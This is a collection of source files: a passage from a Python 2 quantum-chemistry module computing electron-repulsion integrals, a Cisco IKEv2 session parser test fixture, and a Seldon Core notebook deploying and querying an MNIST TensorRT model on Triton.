(qy-yc)*vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc-1,nc),alphac, (xd,yd,zd),normd,alphad,m) \ + (wy-qy)*vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc-1,nc),alphac, (xd,yd,zd),normd,alphad,m+1) if mc > 1: val = val +\ 0.5*(mc-1)/eta*(vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc-2,nc),alphac, (xd,yd,zd),normd,alphad,m) -zeta/(zeta+eta)* vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc-2,nc),alphac, (xd,yd,zd),normd,alphad,m+1) ) if ma: val = val +\ 0.5*ma/(zeta+eta)*vrr((xa,ya,za),norma,(la,ma-1,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc-1,nc),alphac, (xd,yd,zd),normd,alphad,m+1) return val elif lc: val = (qx-xc)*vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc-1,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) \ + (wx-qx)*vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc-1,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) if lc > 1: val = val +\ 0.5*(lc-1)/eta*(vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc-2,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) -zeta/(zeta+eta)* vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc-2,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) ) if la: val = val +\ 0.5*la/(zeta+eta)*vrr((xa,ya,za),norma,(la-1,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc-1,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) return val elif na: val = (pz-za)*vrr((xa,ya,za),norma,(la,ma,na-1),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) \ + (wz-pz)*vrr((xa,ya,za),norma,(la,ma,na-1),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) if na > 1: val = val + \ 0.5*(na-1)/zeta*(vrr((xa,ya,za),norma,(la,ma,na-2),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) -eta/(zeta+eta)* vrr((xa,ya,za),norma,(la,ma,na-2),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) ) return val elif ma: val = (py-ya)*vrr((xa,ya,za),norma,(la,ma-1,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) \ + (wy-py)*vrr((xa,ya,za),norma,(la,ma-1,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) if ma > 1: val = val + \ 0.5*(ma-1)/zeta*(vrr((xa,ya,za),norma,(la,ma-2,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) -eta/(zeta+eta)* vrr((xa,ya,za),norma,(la,ma-2,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) ) return val elif la: val = (px-xa)*vrr((xa,ya,za),norma,(la-1,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) \ + (wx-px)*vrr((xa,ya,za),norma,(la-1,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) if la > 1: val = val + \ 0.5*(la-1)/zeta*(vrr((xa,ya,za),norma,(la-2,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m) -eta/(zeta+eta)* vrr((xa,ya,za),norma,(la-2,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m+1) ) return val rab2 = pow(xa-xb,2) + pow(ya-yb,2) + pow(za-zb,2) Kab = sqrt(2)*pow(pi,1.25)/(alphaa+alphab)\ *exp(-alphaa*alphab/(alphaa+alphab)*rab2) rcd2 = pow(xc-xd,2) + pow(yc-yd,2) + pow(zc-zd,2) Kcd = sqrt(2)*pow(pi,1.25)/(alphac+alphad)\ *exp(-alphac*alphad/(alphac+alphad)*rcd2) rpq2 = pow(px-qx,2) + pow(py-qy,2) + pow(pz-qz,2) T = zeta*eta/(zeta+eta)*rpq2 val = norma*normb*normc*normd*Kab*Kcd/sqrt(zeta+eta)*Fgamma(m,T) return val def vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,M): px,py,pz = gaussian_product_center(alphaa,(xa,ya,za),alphab,(xb,yb,zb)) qx,qy,qz = gaussian_product_center(alphac,(xc,yc,zc),alphad,(xd,yd,zd)) zeta,eta = float(alphaa+alphab),float(alphac+alphad) wx,wy,wz = gaussian_product_center(zeta,(px,py,pz),eta,(qx,qy,qz)) rab2 = pow(xa-xb,2) + pow(ya-yb,2) + pow(za-zb,2) Kab = sqrt(2)*pow(pi,1.25)/(alphaa+alphab)\ *exp(-alphaa*alphab/(alphaa+alphab)*rab2) rcd2 = pow(xc-xd,2) + pow(yc-yd,2) + pow(zc-zd,2) Kcd = sqrt(2)*pow(pi,1.25)/(alphac+alphad)\ *exp(-alphac*alphad/(alphac+alphad)*rcd2) rpq2 = pow(px-qx,2) + pow(py-qy,2) + pow(pz-qz,2) T = zeta*eta/(zeta+eta)*rpq2 mtot = la+ma+na+lc+mc+nc+M Fgterms = [0]*(mtot+1) Fgterms[mtot] = Fgamma(mtot,T) for im in xrange(mtot-1,-1,-1): Fgterms[im]=(2.*T*Fgterms[im+1]+exp(-T))/(2.*im+1) # Store the vrr values as a 7 dimensional array # vrr_terms[la,ma,na,lc,mc,nc,m] vrr_terms = {} for im in xrange(mtot+1): vrr_terms[0,0,0,0,0,0,im] = ( #norma*normb*normc*normd*Kab*Kcd/sqrt(zeta+eta)*Fgamma(im,T) norma*normb*normc*normd*Kab*Kcd/sqrt(zeta+eta)*Fgterms[im] ) for i in xrange(la): for im in xrange(mtot-i): vrr_terms[i+1,0,0, 0,0,0, im] = ( (px-xa)*vrr_terms[i,0,0, 0,0,0, im] + (wx-px)*vrr_terms[i,0,0, 0,0,0, im+1] ) if i: vrr_terms[i+1,0,0, 0,0,0, im] += ( i/2./zeta*( vrr_terms[i-1,0,0, 0,0,0, im] - eta/(zeta+eta)*vrr_terms[i-1,0,0, 0,0,0, im+1] )) for j in xrange(ma): for i in xrange(la+1): for im in xrange(mtot-i-j): vrr_terms[i,j+1,0, 0,0,0, im] = ( (py-ya)*vrr_terms[i,j,0, 0,0,0, im] + (wy-py)*vrr_terms[i,j,0, 0,0,0, im+1] ) if j: vrr_terms[i,j+1,0, 0,0,0, im] += ( j/2./zeta*(vrr_terms[i,j-1,0, 0,0,0, im] - eta/(zeta+eta) *vrr_terms[i,j-1,0, 0,0,0, im+1] )) for k in xrange(na): for j in xrange(ma+1): for i in xrange(la+1): for im in xrange(mtot-i-j-k): vrr_terms[i,j,k+1, 0,0,0, im] = ( (pz-za)*vrr_terms[i,j,k, 0,0,0, im] + (wz-pz)*vrr_terms[i,j,k, 0,0,0, im+1] ) if k: vrr_terms[i,j,k+1, 0,0,0, im] += ( k/2./zeta*(vrr_terms[i,j,k-1, 0,0,0, im] - eta/(zeta+eta) *vrr_terms[i,j,k-1, 0,0,0, im+1] )) for q in xrange(lc): for k in xrange(na+1): for j in xrange(ma+1): for i in xrange(la+1): for im in xrange(mtot-i-j-k-q): vrr_terms[i,j,k, q+1,0,0, im] = ( (qx-xc)*vrr_terms[i,j,k, q,0,0, im] + (wx-qx)*vrr_terms[i,j,k, q,0,0, im+1] ) if q: vrr_terms[i,j,k, q+1,0,0, im] += ( q/2./eta*(vrr_terms[i,j,k, q-1,0,0, im] - zeta/(zeta+eta) *vrr_terms[i,j,k, q-1,0,0, im+1] )) if i: vrr_terms[i,j,k, q+1,0,0, im] += ( i/2./(zeta+eta)*vrr_terms[i-1,j,k, q,0,0, im+1] ) for r in xrange(mc): for q in xrange(lc+1): for k in xrange(na+1): for j in xrange(ma+1): for i in xrange(la+1): for im in xrange(mtot-i-j-k-q-r): vrr_terms[i,j,k, q,r+1,0, im] = ( (qy-yc)*vrr_terms[i,j,k, q,r,0, im] + (wy-qy)*vrr_terms[i,j,k, q,r,0, im+1] ) if r: vrr_terms[i,j,k, q,r+1,0, im] += ( r/2./eta*(vrr_terms[i,j,k, q,r-1,0, im] - zeta/(zeta+eta) *vrr_terms[i,j,k, q,r-1,0, im+1] )) if j: vrr_terms[i,j,k, q,r+1,0, im] += ( j/2./(zeta+eta)*vrr_terms[i,j-1,k,q,r,0,im+1] ) for s in xrange(nc): for r in xrange(mc+1): for q in xrange(lc+1): for k in xrange(na+1): for j in xrange(ma+1): for i in xrange(la+1): for im in xrange(mtot-i-j-k-q-r-s): vrr_terms[i,j,k,q,r,s+1,im] = ( (qz-zc)*vrr_terms[i,j,k,q,r,s,im] + (wz-qz)*vrr_terms[i,j,k,q,r,s,im+1] ) if s: vrr_terms[i,j,k,q,r,s+1,im] += ( s/2./eta*(vrr_terms[i,j,k,q,r,s-1,im] - zeta/(zeta+eta) *vrr_terms[i,j,k,q,r,s-1,im+1] )) if k: vrr_terms[i,j,k,q,r,s+1,im] += ( k/2./(zeta+eta)*vrr_terms[i,j,k-1,q,r,s,im+1] ) return vrr_terms[la,ma,na,lc,mc,nc,M] # Implement the interface to coulomb_repulsion and contr_coulomb coulomb_repulsion = hrr def contr_coulomb(aexps,acoefs,anorms,xyza,powa, bexps,bcoefs,bnorms,xyzb,powb, cexps,ccoefs,cnorms,xyzc,powc, dexps,dcoefs,dnorms,xyzd,powd): return contr_hrr(xyza,anorms,powa,aexps,acoefs, xyzb,bnorms,powb,bexps,bcoefs, xyzc,cnorms,powc,cexps,ccoefs, xyzd,dnorms,powd,dexps,dcoefs) def test_contr(): from basis_sto3g import basis_data from Molecule import Molecule from Ints import getbasis from time import time r = 1/0.52918 atoms=Molecule('h2o',atomlist = [(8,(0,0,0)),(1,(r,0,0)),(1,(0,0,r))]) bfs = getbasis(atoms,basis_data) o_1s = bfs[0] o_2s = bfs[1] o_px = bfs[2] o_py = bfs[3] o_pz = bfs[4] h1_s = bfs[5] h2_s = bfs[6] t0 = time() val = \ contr_coulomb(h2_s.pexps,h2_s.pcoefs,h2_s.pnorms, h2_s.origin,h2_s.powers, h2_s.pexps,h2_s.pcoefs,h2_s.pnorms, h2_s.origin,h2_s.powers, h2_s.pexps,h2_s.pcoefs,h2_s.pnorms, h2_s.origin,h2_s.powers, o_pz.pexps,o_pz.pcoefs,o_pz.pnorms, o_pz.origin,o_pz.powers) t1 = time() print val,t1-t0 def test_vrr(): import time xa,ya,za = 0.,0.,0. xb,yb,zb = 0.,0.,0. xc,yc,zc = 0.,0.,0. xd,yd,zd = 0.,0.,0. norma = normb = normc = normd = 1. alphaa = alphab = alphac = alphad = 1. M = 0 for xa,ya,za,la,ma,na,lc,mc,nc in [(0,0,0, 0,0,0, 0,0,0), (0,0,0, 1,0,0, 1,0,0), (0,0,0, 0,1,0, 0,1,0), (0,0,0, 0,0,1, 0,0,1), (0,0,0, 2,0,0, 2,0,0), (0,0,0, 0,2,0, 0,2,0), (0,0,0, 0,0,2, 0,0,2), (1,2,3, 1,0,0, 1,0,0), (1,2,3, 0,1,0, 0,1,0), (1,2,3, 0,0,1, 0,0,1), (1,2,3, 2,0,0, 2,0,0), (1,2,3, 0,2,0, 0,2,0), (1,2,3, 0,0,2, 0,0,2), (0,0,0, 1,1,0, 1,1,0), (0,0,0, 0,1,1, 0,1,1), (0,0,0, 1,0,1, 1,0,1), (3,2,1, 1,1,0, 1,1,0), (3,2,1, 0,1,1, 0,1,1), (3,2,1, 1,0,1, 1,0,1), ]: print xa,ya,za,la,ma,na,lc,mc,nc t0 = time.time() val1 = vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,M) t1 = time.time() val2 = vrr((xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad, (xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab,M) t2 = time.time() print "Values: ",val1,val2 print "Timings: ",t1-t0,t2-t1 return def test_hrr(): import time xa,ya,za = 0.,0.,0. xb,yb,zb = 0.,0.,0. xc,yc,zc = 0.,0.,0. xd,yd,zd = 0.,0.,0. norma = normb = normc = normd = 1. alphaa = alphab = alphac = alphad = 1. lb,mb,nb = 1,0,1 ld,md,nd = 1,0,1 M = 0 for xa,ya,za,la,ma,na,lc,mc,nc in [(0,0,0, 0,0,0, 0,0,0), (0,0,0, 1,0,0, 1,0,0), (0,0,0, 0,1,0, 0,1,0), (0,0,0, 0,0,1, 0,0,1), (0,0,0, 2,0,0, 2,0,0), (0,0,0, 0,2,0, 0,2,0), (0,0,0, 0,0,2, 0,0,2), (1,2,3, 1,0,0, 1,0,0), (1,2,3, 0,1,0, 0,1,0), (1,2,3, 0,0,1, 0,0,1), (1,2,3, 2,0,0, 2,0,0), (1,2,3, 0,2,0, 0,2,0), (1,2,3, 0,0,2, 0,0,2), (0,0,0, 1,1,0, 1,1,0), (0,0,0, 0,1,1, 0,1,1), (0,0,0, 1,0,1, 1,0,1), (3,2,1, 1,1,0, 1,1,0), (3,2,1, 0,1,1, 0,1,1), (3,2,1, 1,0,1, 1,0,1), ]: print xa,ya,za,la,ma,na,lc,mc,nc t0 = time.time() val1 = hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) t1 = time.time() val2 = hrr((xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad, (xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab) t2 = time.time() print "Values: ",val1,val2 print "Timings: ",t1-t0,t2-t1 return if __name__ == '__main__': doprofile = 0 if doprofile: import profile,pstats profile.run('test()','hgpprof.dat') profdat = pstats.Stats('hgpprof.dat') profdat.strip_dirs().sort_stats('time').print_stats(8) else: test_hrr()

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py

Python

src/genie/libs/parser/iosxe/tests/ShowCryptoIkev2Session/cli/equal/golden_output_csr8kv_detailed_expected.py

nielsvanhooy/genieparser

9a1955749697a6777ca614f0af4d5f3a2c254ccd

[ "Apache-2.0" ]

null

src/genie/libs/parser/iosxe/tests/ShowCryptoIkev2Session/cli/equal/golden_output_csr8kv_detailed_expected.py

nielsvanhooy/genieparser

9a1955749697a6777ca614f0af4d5f3a2c254ccd

[ "Apache-2.0" ]

null

src/genie/libs/parser/iosxe/tests/ShowCryptoIkev2Session/cli/equal/golden_output_csr8kv_detailed_expected.py

nielsvanhooy/genieparser

9a1955749697a6777ca614f0af4d5f3a2c254ccd

[ "Apache-2.0" ]

null

expected_output = { 'ikev2_session': { 'IPv4':{ 1:{ 'session_id': 3, 'status': 'UP-ACTIVE', 'ike_count': 1, 'child_count': 1, 'tunnel_id': 1, 'local_ip': '1.1.1.1', 'local_port': 500, 'remote_ip': '1.1.1.2', 'remote_port': 500, 'fvrf': 'none', 'ivrf': 'none', 'session_status': 'READY', 'encryption': 'AES-CBC', 'key_length': 256, 'prf': 'SHA256', 'hash_algo': 'SHA256', 'dh_group': 14, 'auth_sign': 'PSK', 'auth_verify': 'PSK', 'lifetime': 86400, 'activetime': 38157, 'ce_id': 1008, 'id': 3, 'local_spi': '6F86196AB2C574E3', 'remote_spi': '74AD695CF23C4805', 'local_id': '1.1.1.1', 'remote_id': '1.1.1.2', 'local_mesg_id': 2, 'remote_mesg_id': 0, 'local_next_id': 2, 'remote_next_id': 0, 'local_queued': 2, 'remote_queued': 0, 'local_window': 5, 'remote_window': 5, 'dpd_time': 0, 'dpd_retry': 0, 'fragmentation': 'no', 'dynamic_route': 'enabled', 'nat_detected': 'no', 'cts_sgt': 'disabled', 'initiator_of_sa': 'Yes', 'child_sa':{ 1:{ 'local_selectors': [], 'remote_selectors': [], 'traffic_selectors': ['8001::/0 - 8001::FFFF:FFFF:FFFF:FFFF/65535 -> 9001::/0 - 9001::FFFF:FFFF:FFFF:FFFF/65535', '89.89.89.0/0 - 89.89.89.255/65535 -> 99.99.99.0/0 - 99.99.99.255/65535'], 'esp_spi_in': '0x232CB82D', 'esp_spi_out': '0x30767B6E', 'ah_spi_in': '0x0', 'ah_spi_out': '0x0', 'cpi_in': '0x0', 'cpi_out': '0x0', 'child_encr': 'AES-CBC', 'keysize': 256, 'esp_hmac': 'SHA256', 'ah_hmac': 'None', 'compression': 'IPCOMP_NONE', 'mode': 'tunnel', }, 2:{ 'local_selectors': [], 'remote_selectors': [], 'traffic_selectors': ['3001::/0 - 3001::FFFF:FFFF:FFFF:FFFF/65535 -> 3101::/0 - 3101::FFFF:FFFF:FFFF:FFFF/65535', '30.30.30.0/0 - 30.30.30.255/65535 -> 31.31.31.0/0 - 31.31.31.255/65535'], 'esp_spi_in': '0x232CB82D', 'esp_spi_out': '0x30767B6E', 'ah_spi_in': '0x0', 'ah_spi_out': '0x0', 'cpi_in': '0x0', 'cpi_out': '0x0', 'child_encr': 'AES-CBC', 'keysize': 256, 'esp_hmac': 'SHA256', 'ah_hmac': 'None', 'compression': 'IPCOMP_NONE', 'mode': 'tunnel', }, }, }, }, 'IPv6':{ 1:{ 'session_id': 5, 'status': 'UP-ACTIVE', 'ike_count': 1, 'child_count': 1, 'tunnel_id': 1, 'local_ip': '1.1.1::1', 'local_port': 500, 'remote_ip': '1.1.1::2', 'remote_port': 500, 'fvrf': 'none', 'ivrf': 'none', 'session_status': 'READY', 'encryption': 'AES-CBC', 'key_length': 256, 'prf': 'SHA256', 'hash_algo': 'SHA256', 'dh_group': 14, 'auth_sign': 'PSK', 'auth_verify': 'PSK', 'lifetime': 86400, 'activetime': 38157, 'ce_id': 1008, 'id': 3, 'local_spi': '6F86196AB2C574E5', 'remote_spi': '74AD695CF23C4806', 'local_id': '1.1.1::1', 'remote_id': '1.1.1::2', 'local_mesg_id': 2, 'remote_mesg_id': 0, 'local_next_id': 2, 'remote_next_id': 0, 'local_queued': 2, 'remote_queued': 0, 'local_window': 5, 'remote_window': 5, 'dpd_time': 0, 'dpd_retry': 0, 'fragmentation': 'no', 'dynamic_route': 'enabled', 'nat_detected': 'no', 'cts_sgt': 'disabled', 'initiator_of_sa': 'Yes', 'child_sa':{ 1:{ 'local_selectors': [], 'remote_selectors': [], 'traffic_selectors': ['2001::/0 - 2001::FFFF:FFFF:FFFF:FFFF/65535 -> 2101::/0 - 2101::FFFF:FFFF:FFFF:FFFF/65535', '20.20.20.0/0 - 20.20.20.255/65535 -> 21.21.21.0/0 - 21.21.21.255/65535'], 'esp_spi_in': '0x232CB82D', 'esp_spi_out': '0x30767B6E', 'ah_spi_in': '0x0', 'ah_spi_out': '0x0', 'cpi_in': '0x0', 'cpi_out': '0x0', 'child_encr': 'AES-CBC', 'keysize': 256, 'esp_hmac': 'SHA256', 'ah_hmac': 'None', 'compression': 'IPCOMP_NONE', 'mode': 'tunnel', }, 2:{ 'local_selectors': [], 'remote_selectors': [], 'traffic_selectors': ['10.10.10.0/0 - 10.10.10.255/65535 -> 11.11.11.0/0 - 11.11.11.255/65535'], 'esp_spi_in': '0x232CB82D', 'esp_spi_out': '0x30767B6E', 'ah_spi_in': '0x0', 'ah_spi_out': '0x0', 'cpi_in': '0x0', 'cpi_out': '0x0', 'child_encr': 'AES-CBC', 'keysize': 256, 'esp_hmac': 'SHA256', 'ah_hmac': 'None', 'compression': 'IPCOMP_NONE', 'mode': 'tunnel', }, }, }, }, }, }

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18d9bb920a0948557f9aee4ad4d4a481adcc6438

13,678

py

Python

doc/jupyter_execute/examples/models/tensorrt/triton_tensorrt.py

edshee/seldon-core

78c10fbca16a5e2a0c25b9673aa3deb220070e26

[ "Apache-2.0" ]

null

doc/jupyter_execute/examples/models/tensorrt/triton_tensorrt.py

edshee/seldon-core

78c10fbca16a5e2a0c25b9673aa3deb220070e26

[ "Apache-2.0" ]

null

doc/jupyter_execute/examples/models/tensorrt/triton_tensorrt.py

edshee/seldon-core

78c10fbca16a5e2a0c25b9673aa3deb220070e26

[ "Apache-2.0" ]

null

#!/usr/bin/env python # coding: utf-8 # # NVIDIA TensorRT MNIST Example with Triton Inference Server # # ![digit](digit.png) # # This example shows how you can deploy a TensorRT model with NVIDIA Triton Server. In this case we use a prebuilt TensorRT model for NVIDIA v100 GPUs. # # Note this example requires some advanced setup and is directed for those with tensorRT experience. # # ## Prerequisites # # * Install requirements in `requirements.txt` # * An authorized kubernetes cluster with V100 GPUs installed and configured. # * For GKE see [GKE GPU Documentation](https://cloud.google.com/kubernetes-engine/docs/how-to/gpus) # * [Install Seldon Core](file:///home/clive/work/seldon-core/fork-seldon-core/doc/_build/html/examples/seldon_core_setup.html) and install Ambassador and port-forward to Ambassador on localhost:8003 # # # This example uses the [KFServing protocol supported by Triton Infernence Server](https://github.com/triton-inference-server/server/tree/master/docs/protocol) which Seldon also supports. # In[1]: get_ipython().run_line_magic('matplotlib', 'inline') import json import numpy as np import tensorflow as tf import tensorflow_datasets as tfds from matplotlib import pyplot as plt def gen_image(arr): two_d = (np.reshape(arr, (28, 28)) * 255).astype(np.uint8) plt.imshow(two_d, cmap=plt.cm.gray_r, interpolation="nearest") return plt # In[2]: (ds_train, ds_test), ds_info = tfds.load( "mnist", split=["train", "test"], shuffle_files=True, as_supervised=True, with_info=True, ) # In[3]: def normalize_img(image, label): """Normalizes images: `uint8` -> `float32`.""" return tf.cast(image, tf.float32) * 255, label ds_train = ds_train.map(normalize_img, num_parallel_calls=tf.data.experimental.AUTOTUNE) npX = tfds.as_numpy(ds_train, graph=None) # In[4]: MEANS = np.array( [ 255.0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, 254, 254, 253, 252, 252, 251, 251, 252, 252, 253, 254, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, 254, 253, 251, 249, 248, 245, 243, 242, 242, 243, 246, 248, 251, 253, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, 253, 250, 247, 242, 235, 228, 220, 213, 210, 211, 216, 224, 232, 240, 246, 251, 253, 254, 255, 255, 255, 255, 255, 255, 255, 255, 254, 251, 248, 242, 234, 223, 211, 196, 181, 170, 164, 166, 175, 189, 205, 221, 233, 243, 248, 252, 254, 255, 255, 255, 255, 255, 255, 254, 252, 248, 241, 231, 217, 202, 184, 166, 149, 136, 131, 134, 143, 159, 180, 201, 220, 234, 243, 249, 253, 255, 255, 255, 255, 255, 254, 253, 249, 243, 233, 219, 201, 181, 161, 143, 130, 122, 120, 122, 129, 141, 161, 185, 208, 227, 240, 248, 252, 254, 255, 255, 255, 255, 254, 251, 246, 238, 226, 208, 187, 164, 146, 135, 131, 132, 133, 132, 133, 139, 154, 178, 202, 223, 239, 248, 252, 255, 255, 255, 255, 254, 253, 251, 245, 236, 221, 200, 177, 156, 144, 144, 150, 156, 156, 151, 144, 144, 156, 178, 202, 224, 240, 249, 253, 255, 255, 255, 255, 254, 253, 251, 245, 235, 218, 195, 172, 155, 152, 161, 172, 176, 170, 161, 150, 149, 161, 183, 207, 227, 242, 250, 254, 255, 255, 255, 255, 255, 254, 251, 246, 234, 215, 191, 168, 156, 160, 173, 182, 179, 169, 157, 147, 149, 166, 190, 213, 230, 243, 251, 254, 255, 255, 255, 255, 255, 254, 252, 246, 233, 212, 186, 165, 157, 164, 175, 176, 165, 153, 142, 137, 147, 170, 196, 217, 231, 242, 251, 255, 255, 255, 255, 255, 255, 254, 252, 245, 230, 207, 182, 163, 158, 164, 168, 158, 143, 131, 125, 128, 146, 174, 200, 218, 231, 241, 250, 254, 255, 255, 255, 255, 255, 255, 252, 243, 227, 205, 181, 164, 159, 161, 157, 139, 124, 115, 118, 127, 148, 176, 199, 216, 230, 240, 249, 254, 255, 255, 255, 255, 255, 254, 251, 241, 224, 204, 184, 169, 163, 160, 150, 132, 119, 116, 123, 133, 153, 177, 197, 214, 228, 240, 249, 254, 255, 255, 255, 255, 255, 254, 251, 239, 222, 205, 189, 177, 171, 166, 154, 139, 129, 128, 134, 144, 159, 177, 195, 213, 228, 241, 249, 254, 255, 255, 255, 255, 255, 254, 249, 237, 222, 207, 195, 186, 180, 175, 166, 153, 143, 140, 142, 150, 162, 178, 195, 214, 230, 242, 250, 254, 255, 255, 255, 255, 255, 253, 247, 235, 220, 207, 197, 189, 183, 179, 172, 160, 148, 142, 143, 150, 161, 178, 198, 217, 233, 244, 250, 254, 255, 255, 255, 255, 255, 253, 246, 233, 218, 204, 192, 184, 177, 172, 165, 153, 142, 137, 139, 148, 163, 183, 204, 222, 236, 246, 251, 254, 255, 255, 255, 255, 255, 253, 247, 234, 218, 201, 186, 174, 165, 157, 148, 137, 130, 129, 137, 151, 171, 194, 214, 230, 242, 248, 252, 254, 255, 255, 255, 255, 255, 253, 249, 238, 222, 203, 184, 168, 154, 143, 132, 124, 123, 130, 145, 165, 188, 209, 227, 239, 247, 251, 253, 255, 255, 255, 255, 255, 255, 254, 251, 244, 232, 214, 194, 174, 156, 142, 132, 130, 134, 148, 167, 189, 210, 226, 238, 246, 250, 253, 254, 255, 255, 255, 255, 255, 255, 255, 253, 250, 243, 231, 215, 196, 178, 163, 155, 156, 164, 179, 197, 215, 230, 240, 247, 251, 253, 254, 255, 255, 255, 255, 255, 255, 255, 255, 254, 253, 251, 246, 238, 228, 217, 208, 203, 204, 210, 218, 228, 236, 243, 248, 251, 253, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, 252, 249, 245, 241, 238, 237, 237, 239, 242, 245, 247, 250, 252, 253, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, 254, 253, 252, 250, 249, 248, 249, 249, 250, 252, 253, 253, 254, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, 254, 254, 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, ] ) # In[5]: get_ipython().run_cell_magic('writefile', 'model.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: mnist\nspec:\n protocol: kfserving\n transport: rest\n predictors:\n - graph:\n children: []\n implementation: TRITON_SERVER\n modelUri: gs://seldon-models/tensorrt/v100_mnist\n name: mnist\n componentSpecs:\n - spec:\n containers:\n - name: mnist\n resources:\n limits:\n nvidia.com/gpu: 1\n name: tensorrt\n replicas: 1') # In[6]: get_ipython().system('kubectl apply -f model.yaml') # In[7]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=mnist -o jsonpath='{.items[0].metadata.name}')") # Check metadata of model # In[8]: get_ipython().system('curl http://0.0.0.0:8003/seldon/default/mnist/v2/models/mnist') # Test prediction on random digit. # In[9]: x,y = next(npX) X = 255 - x X = (X.reshape(784) - MEANS) gen_image(x) values = np.expand_dims(X, axis=0).reshape((1,1,28,28)).flatten().tolist() cmd = '{"inputs":[{"name":"data","data":'+str(values)+',"datatype":"FP32","shape":[1,1,28,28]}]}' with open("input.json","w") as f: f.write(cmd) res = get_ipython().getoutput('curl -s -d @./input.json -X POST http://0.0.0.0:8003/seldon/default/mnist/v2/models/mnist/infer -H "Content-Type: application/json"') d=json.loads(res[0]) print(d) predicted = np.array(d["outputs"][0]["data"]).argmax() print("Truth",y,"predicted",predicted) # In[ ]:

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7

e13308c596ba433e94677736d5f2872568d3ade4

15,154

py

Python

utils/forward_fn.py

yjbang/math6380

045bf9dd877b4b387580459fd747a4e428cbe8ff

[ "MIT" ]

1

2021-09-09T14:28:01.000Z

utils/forward_fn.py

yjbang/Model-Generalization-for-Fact-Checking

045bf9dd877b4b387580459fd747a4e428cbe8ff

[ "MIT" ]

null

utils/forward_fn.py

yjbang/Model-Generalization-for-Fact-Checking

045bf9dd877b4b387580459fd747a4e428cbe8ff

[ "MIT" ]

null

